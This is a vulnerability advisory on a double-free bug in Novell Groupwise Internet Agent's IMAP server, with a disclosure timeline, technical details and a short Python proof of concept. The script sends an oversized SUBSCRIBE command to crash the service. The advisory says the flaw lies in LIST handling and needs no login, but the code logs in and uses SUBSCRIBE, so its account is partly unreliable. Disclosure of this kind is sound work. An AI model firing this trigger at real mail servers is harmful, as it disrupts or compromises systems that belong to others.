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Application:   {PRL} Novell Groupwise Internet Agent IMAP LIST Command Remote Code Execution Vulnerability
Platforms:   Linux

Exploitation:   Remote code execution

CVE Number: Pending

Novell TID:   7007151

ZeroDayInitiative: ZDI-10-242

Author:   Francis Provencher (Protek Research Lab's)

Blog:   http://www.protekresearchlab.com/

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1) Introduction
2) Report Timeline
3) Technical details
4) The Code

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===============
1) Introduction
===============

Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The
company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell
NetWare; identity, security, and systems management solutions; and collaboration solutions,
such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a
focus for technology and software development. Novell technology contributed to the emergence
of local area networks, which displaced the dominant mainframe computing model and changed
computing worldwide. Today, a primary focus of the company is on developing open source software
for enterprise clients.

(http://en.wikipedia.org/wiki/Novell)

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============================
2) Report Timeline
============================

2010-07-20 Vendor Contact by Tippingpoint
2010-11-08 Vendor release advisory

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============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations
of Novell Groupwise Internet Agent. Authentication is not required to exploit this vulnerability.

The flaw exists within the IMAP server component which listens by default on TCP port 143. When
handling an IMAP LIST command with a large parameter the process attempts to free the same memory
twice. A remote attacker can exploit this vulnerability to execute arbitrary code under the
context of the IMAP server.

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===========
4) The Code
===========

#!/usr/bin/python
#
# Francis Provencher
# Protek Research Lab.
#
#

import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

buffer = '\x41' * 56000

s.connect(('192.168.100.177',143))
s.recv(1024)
s.send('A001 LOGIN test test \r\n')
s.recv(1024)
s.send('A001 SUBSCRIBE ' + buffer + '\r\n')
s.recv(1024)
s.close()

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(PRL-2010-07)